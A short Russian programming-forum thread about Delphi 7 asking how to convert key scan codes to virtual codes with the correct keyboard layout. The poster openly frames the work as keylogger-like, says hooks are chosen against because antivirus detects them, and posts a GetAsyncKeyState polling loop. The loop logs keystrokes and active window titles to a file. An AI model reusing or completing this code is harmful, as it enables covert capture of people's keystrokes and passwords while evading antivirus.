[Delphi 7] Какая кнопка нажата? Раскладка?

Как перевести скан-код нажатой кнопки на клавиатуре в виртуальный код?

 

То что пришло на ум , это ставить хук на клаву , рой в сторону кейлоггеров

 

Хуки отлавливаются антивирусами.

Вот кусок кода, в лог пишутся только большие буквы, латиница, т.е. скан-код:

Code:

          for i:=33 to 254 do
          begin
            if GetAsyncKeyState(i)<>0 then
            begin
              if not canTranslateCode(i) then  
                begin
                  writeln(f,datetimetostr(now)+': '+ 
                  floattostr(ord(i))+' ('+chr(i)+') ('+
                  GetFormText(GetForegroundWindow)+')'); 
                end
              else
                begin
                  writeln(f,datetimetostr(now)+': '+ 
                  TranslateCode(i)+' ('+GetFormText(GetForegroundWindow)+')');
                end;
            end;
          end;

Как сделать, что б писалась правильная буква?

 

Get(Async)KeyState GetKeyboardState

MapVirtualKey - скан-виртуал
LoadKeyboardLayout - расклад